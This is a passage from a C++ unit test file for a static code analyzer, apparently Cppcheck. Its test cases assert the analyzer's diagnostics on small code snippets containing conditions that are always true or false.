ASSERT_EQUALS(\"[test.cpp:5:17]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9277\n check(\"int f() {\\n\"\n \" constexpr bool x = true;\\n\"\n \" if constexpr (x)\\n\"\n \" return 0;\\n\"\n \" else\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9954\n check(\"void f() {\\n\"\n \" const size_t a(8 * sizeof(short));\\n\"\n \" const size_t b(8 * sizeof(int));\\n\"\n \" if constexpr (a == 16 && b == 16) {}\\n\"\n \" else if constexpr (a == 16 && b == 32) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9319\n check(\"struct S {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void g(S s, bool& x);\\n\"\n \"void f() {\\n\"\n \" bool x = false;\\n\"\n \" g({0, 1}, x);\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9318\n check(\"class A {};\\n\"\n \"class B : public A {};\\n\"\n \"void f(A* x) {\\n\"\n \" if (!x)\\n\"\n \" return;\\n\"\n \" auto b = dynamic_cast(x);\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" auto x = getX();\\n\"\n \" if (x == nullptr)\\n\"\n \" return 1;\\n\"\n \" auto y = dynamic_cast(x)\\n\"\n \" if (y == nullptr)\\n\"\n \" return 2;\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // handleKnownValuesInLoop\n check(\"bool g();\\n\"\n \"void f(bool x) {\\n\"\n \" if (x) while(x) x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // isLikelyStream\n check(\"void f(std::istringstream& iss) {\\n\"\n \" std::string x;\\n\"\n \" while (iss) {\\n\"\n \" iss >> x;\\n\"\n \" if (!iss) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9332\n check(\"struct A { void* g(); };\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" void* b = a.g();\\n\"\n \" if (!b) return;\\n\"\n \" void* c = a.g();\\n\"\n \" if (!c) return;\\n\"\n \" bool compare = c == b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9361\n check(\"void f(char c) {\\n\"\n \" if (c == '.') {}\\n\"\n \" else if (isdigit(c) != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9351\n check(\"int f(int x) {\\n\"\n \" const bool b = x < 42;\\n\"\n \" if(b) return b?0:-1;\\n\"\n \" return 42;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:3:18]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9362\n check(\"uint8_t g();\\n\"\n \"void f() {\\n\"\n \" const uint8_t v = g();\\n\"\n \" if((v != 0x00)) {\\n\"\n \" if( (v & 0x01) == 0x00) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9367\n check(\"void f(long x) {\\n\"\n \" if (x <= 0L)\\n\"\n \" return;\\n\"\n \" if (x % 360L == 0)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a, int b) {\\n\"\n \" static const int x = 10;\\n\"\n \" return x == 1 ? a : b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9709\n check(\"void f(int a) {\\n\"\n \" bool ok = false;\\n\"\n \" const char * r = nullptr;\\n\"\n \" do_something(&r);\\n\"\n \" if (r != nullptr)\\n\"\n \" ok = a != 0;\\n\"\n \" if (ok) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9816\n check(\"bool g();\\n\"\n \"void f() {\\n\"\n \" bool b = false;\\n\"\n \" do {\\n\"\n \" do {\\n\"\n \" if (g())\\n\"\n \" break;\\n\"\n \" b = true;\\n\"\n \" } while(false);\\n\"\n \" } while(!b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9865\n check(\"void f(const std::string &s) {\\n\"\n \" for (std::string::const_iterator it = s.begin(); it != s.end(); ++it) {\\n\"\n \" const unsigned char c = static_cast(*it);\\n\"\n \" if (c == '0') {}\\n\"\n \" else if ((c == 'a' || c == 'A')\\n\"\n \" || (c == 'b' || c == 'B')) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9711\n check(\"int main(int argc, char* argv[]) {\\n\"\n \" int foo = 0;\\n\"\n \" struct option options[] = {\\n\"\n \" {\\\"foo\\\", no_argument, &foo, \\'f\\'},\\n\"\n \" {NULL, 0, NULL, 0},\\n\"\n \" };\\n\"\n \" getopt_long(argc, argv, \\\"f\\\", options, NULL);\\n\"\n \" if (foo) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: if (!v) is a known condition as well\n check(\"struct a {\\n\"\n \" int *b();\\n\"\n \"};\\n\"\n \"bool g(a c, a* d) {\\n\"\n \" a *v, *e = v = &c;\\n\"\n \" if (!v)\\n\"\n \" return true;\\n\"\n \" int *f = v->b();\\n\"\n \" if (f)\\n\"\n \" v = nullptr;\\n\"\n \" if (v == nullptr && e) {}\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:23]: (style) Condition 'e' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10037\n check(\"struct a {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(a*);\\n\"\n \"void f() {\\n\"\n \" struct a b;\\n\"\n \" uint32_t p = (uint32_t) -1;\\n\"\n \" b.p = (void *) &p;\\n\"\n \" int r = g(&b);\\n\"\n \" if (r == 0)\\n\"\n \" if (p != (uint32_t) -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9890\n check(\"int g(int);\\n\"\n \"bool h(int*);\\n\"\n \"int f(int *x) {\\n\"\n \" int y = g(0);\\n\"\n \" if (!y) {\\n\"\n \" if (h(x)) {\\n\"\n \" y = g(1);\\n\"\n \" if (y) {}\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" if (!y) {}\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:11:13]: (style) Condition '!y' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10134\n check(\"bool foo(bool b);\\n\"\n \"bool thud(const std::vector& Arr, const std::wstring& Str) {\\n\"\n \" if (Arr.empty() && Str.empty())\\n\"\n \" return false;\\n\"\n \" bool OldFormat = Arr.empty() && !Str.empty();\\n\"\n \" if (OldFormat)\\n\"\n \" return foo(OldFormat);\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10208\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{'a', 'b'}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(const std::string &first);\\n\"\n \"bool GetNext(const std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (style) Condition 'name.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10278\n check(\"void foo(unsigned int x) {\\n\"\n \" if ((100 - x) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10298\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10121\n check(\"struct AB {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"struct ABC {\\n\"\n \" AB* ab;\\n\"\n \"};\\n\"\n \"void g(ABC*);\\n\"\n \"int f(struct ABC *abc) {\\n\"\n \" int err = 0;\\n\"\n \" AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" g(abc);\\n\"\n \" if (ab->a != 123) {\\n\"\n \" err = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return err;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10323\n check(\"void foo(int x) {\\n\"\n \" if(x)\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if(x) {}\\n\"\n \" else\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:4:14]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // do not report both unsignedLessThanZero and knownConditionTrueFalse\n check(\"void foo(unsigned int max) {\\n\"\n \" unsigned int num = max - 1;\\n\"\n \" if (num < 0) {}\\n\" // <- do not report knownConditionTrueFalse\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10297\n check(\"void foo(size_t len, int start) {\\n\"\n \" if (start < 0) {\\n\"\n \" start = len+start;\\n\"\n \" if (start < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10362\n check(\"int tok;\\n\"\n \"void next();\\n\"\n \"void parse_attribute() {\\n\"\n \" if (tok == '(') {\\n\"\n \" int parenthesis = 0;\\n\"\n \" do {\\n\"\n \" if (tok == '(')\\n\"\n \" parenthesis++;\\n\"\n \" else if (tok == ')')\\n\"\n \" parenthesis--;\\n\"\n \" next();\\n\"\n \" } while (parenthesis && tok != -1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7843\n check(\"void f(int i) {\\n\"\n \" if(abs(i) == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Condition 'abs(i)==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #7844\n check(\"void f(int i) {\\n\"\n \" if(i > 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Condition 'abs(i)==i' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i < 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:24]: (style) Condition 'abs(i)==i' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i > -3 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9948\n check(\"bool f(bool a, bool b) {\\n\"\n \" return a || ! b || ! a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Return value '!a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10148\n check(\"void f(int i) {\\n\"\n \" if (i >= 64) {}\\n\"\n \" else if (i >= 32) {\\n\"\n \" i &= 31;\\n\"\n \" if (i == 0) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10548\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" do {} while (i++ == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10582\n check(\"static void fun(message_t *message) {\\n\"\n \" if (message->length >= 1) {\\n\"\n \" switch (data[0]) {}\\n\"\n \" }\\n\"\n \" uint8_t d0 = message->length > 0 ? data[0] : 0xff;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8266\n check(\"void f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" if (g(&b) || b)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9720\n check(\"bool bar(int &);\\n\"\n \"void f(int a, int b) {\\n\"\n \" if (a + b == 3)\\n\"\n \" return;\\n\"\n \" if (bar(a) && (a + b == 3)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10437\n check(\"void f() {\\n\"\n \" Obj* PObj = nullptr;\\n\"\n \" bool b = false;\\n\"\n \" if (GetObj(PObj) && PObj != nullptr)\\n\"\n \" b = true;\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10223\n check(\"static volatile sig_atomic_t is_running;\\n\"\n \"static void handler(int signum) {\\n\"\n \" is_running = 0;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" signal(SIGINT, &handler);\\n\"\n \" is_running = 1;\\n\"\n \" while (is_running) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10659\n check(\"auto func(const std::tuple& t) {\\n\"\n \" auto& [foo, bar] = t;\\n\"\n \" std::cout << foo << bar << std::endl;\\n\"\n \" return foo < bar;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10484\n check(\"void f() {\\n\"\n \" static bool init = true;\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init(true);\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init{ true };\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n // #10248\n check(\"void f() {\\n\"\n \" static int var(1);\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int var{ 1 };\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9256\n check(\"bool f() {\\n\"\n \" bool b = false;\\n\"\n \" b = true;\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10702\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" void increment() { ++_count;}\\n\"\n \" auto get() const { return _count; }\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object) : _object(object) {}\\n\"\n \" void do_something() { _object.increment(); }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" auto get() const;\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object);\\n\"\n \" void do_something();\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const uint32_t u) {\\n\"\n \"\tconst uint32_t v = u < 4;\\n\"\n \"\tif (v) {\\n\"\n \"\t\tconst uint32_t w = v < 2;\\n\"\n \"\t\tif (w) {}\\n\"\n \"\t}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style) Condition 'v<2' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:7]: (style) Condition 'w' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(double d) {\\n\" // #10792\n \" if (d != 0) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (0 != d) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { double d; }\\n\"\n \"void f(A a) {\\n\"\n \" if (a.d != 0) {\\n\"\n \" int i = a.d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if(strlen(\\\"abc\\\") == 3) {;}\\n\"\n \" if(strlen(\\\"abc\\\") == 1) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 3) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 1) {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'strlen(\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:22]: (style) Condition 'strlen(\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:23]: (style) Condition 'wcslen(L\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:23]: (style) Condition 'wcslen(L\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if(!a && b && (!a == !b))\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:2:21]: (style) Condition '!a==!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10454\n check(\"struct S {\\n\"\n \" int f() const { return g() ? 0 : 1; }\\n\"\n \" bool g() const { return u == 18446744073709551615ULL; }\\n\"\n \" unsigned long long u{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8358\n check(\"void f(double d) { if ((d * 0) != 0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6870\n check(\"struct S {\\n\"\n \" int* p;\\n\"\n \" void f() const;\\n\"\n \" int g();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" if ((p == NULL) || ((p) && (g() >= *p))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Condition 'p' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10749\n check(\"struct Interface {\\n\"\n \" virtual int method() = 0;\\n\"\n \"};\\n\"\n \"struct Child : Interface {\\n\"\n \" int method() override { return 0; }\\n\"\n \" auto foo() {\\n\"\n \" if (method() == 0)\\n\"\n \" return true;\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct GrandChild : Child {\\n\"\n \" int method() override { return 1; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6855\n check(\"struct S { int i; };\\n\"\n \"void f(S& s) {\\n\"\n \" if (!(s.i > 0) && (s.i != 0))\\n\"\n \" s.i = 0;\\n\"\n \" else if (s.i < 0)\\n\"\n \" s.s = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15] -> [test.cpp:5:18]: (style) Condition 's.i<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6857\n check(\"int bar(int i) { return i; }\\n\"\n \"void foo() {\\n\"\n \" if (bar(1) == 0 && bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'bar(1)==0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:31]: (style) Condition 'bar(1)>0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S { int bar(int i) const; };\\n\"\n \"void foo(const S& s) {\\n\"\n \" if (s.bar(1) == 0 && s.bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (warning) Logical conjunction always evaluates to false: s.bar(1) == 0 && s.bar(1) > 0. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct B {\\n\" // #10618\n \" void Modify();\\n\"\n \" static void Static();\\n\"\n \" virtual void CalledByModify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" void testV();\\n\"\n \" void testS();\\n\"\n \" void CalledByModify() override { i = 0; }\\n\"\n \"};\\n\"\n \"void D::testV() {\\n\"\n \" i = 1;\\n\"\n \" B::Modify();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\"\n \"void D::testS() {\\n\"\n \" i = 1;\\n\"\n \" B::Static();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:11]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"typedef struct { bool x; } s_t;\\n\" // #8446\n \"unsigned f(bool a, bool b) {\\n\"\n \" s_t s;\\n\"\n \" const unsigned col = a ? (s.x = false) : (b = true);\\n\"\n \" if (!s.x) {}\\n\"\n \" return col;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11233\n \" static std::string m;\\n\"\n \" static void f() { m = \\\"abc\\\"; }\\n\"\n \" static void g() {\\n\"\n \" m.clear();\\n\"\n \" f();\\n\"\n \" if (m.empty()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11203\n check(\"void f() {\\n\"\n \" int i = 10;\\n\"\n \" if(i > 9.9){}\\n\"\n \" float f = 9.9f;\\n\"\n \" if(f < 10) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:10]: (style) Condition 'i>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:10]: (style) Condition 'f<10' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n check(\"constexpr int f() {\\n\" // #11238\n \" return 1;\\n\"\n \"}\\n\"\n \"constexpr bool g() {\\n\"\n \" return f() == 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() { return -1; }\\n\"\n \"void f() {\\n\"\n \" if (g() == 1 && g() == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'g()==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:25]: (style) Condition 'g()==-1' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #9817\n check(\"void f(float x) {\\n\"\n \" if (x <= 0) {}\\n\"\n \" else if (x < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10426\n check(\"int f() {\\n\"\n \" std::string s;\\n\"\n \" for (; !s.empty();) {}\\n\"\n \" for (; s.empty();) {}\\n\"\n \" if (s.empty()) {}\\n\"\n \" if ((bool)0) {}\\n\"\n \" return s.empty();\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition '!s.empty()' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:19]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:16]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition '(bool)0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:19]: (style) Return value 's.empty()' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\"\n \"bool g(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:35]: (style) Return value 'static_cast(1)' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:12]: (style) Return value '(int)0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() { return 3; }\\n\"\n \"int g() { return f(); }\\n\"\n \"int h() { if (f()) {} }\\n\"\n \"int i() { return f() == 3; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'f()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:22]: (style) Return value 'f()==3' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" const char *n;\\n\"\n \" return((n=42) &&\\n\"\n \" *n == 'A');\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::istringstream& i) {\\n\" // #9327\n \" std::string s;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11227\n check(\"struct S {\\n\"\n \"\tint get();\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" if (!s)\\n\"\n \" return;\\n\"\n \" g(s ? s->get() : 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:7]: (style) Condition 's' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const char* o) {\\n\" // #11558\n \" if (!o || !o[0])\\n\"\n \" return;\\n\"\n \" if (o[0] == '-' && o[1]) {\\n\"\n \" if (o[1] == '-') {}\\n\"\n \" if (o[1] == '\\\\0') {}\\n\"\n \" }\\n\"\n \"}\\n\");\n if 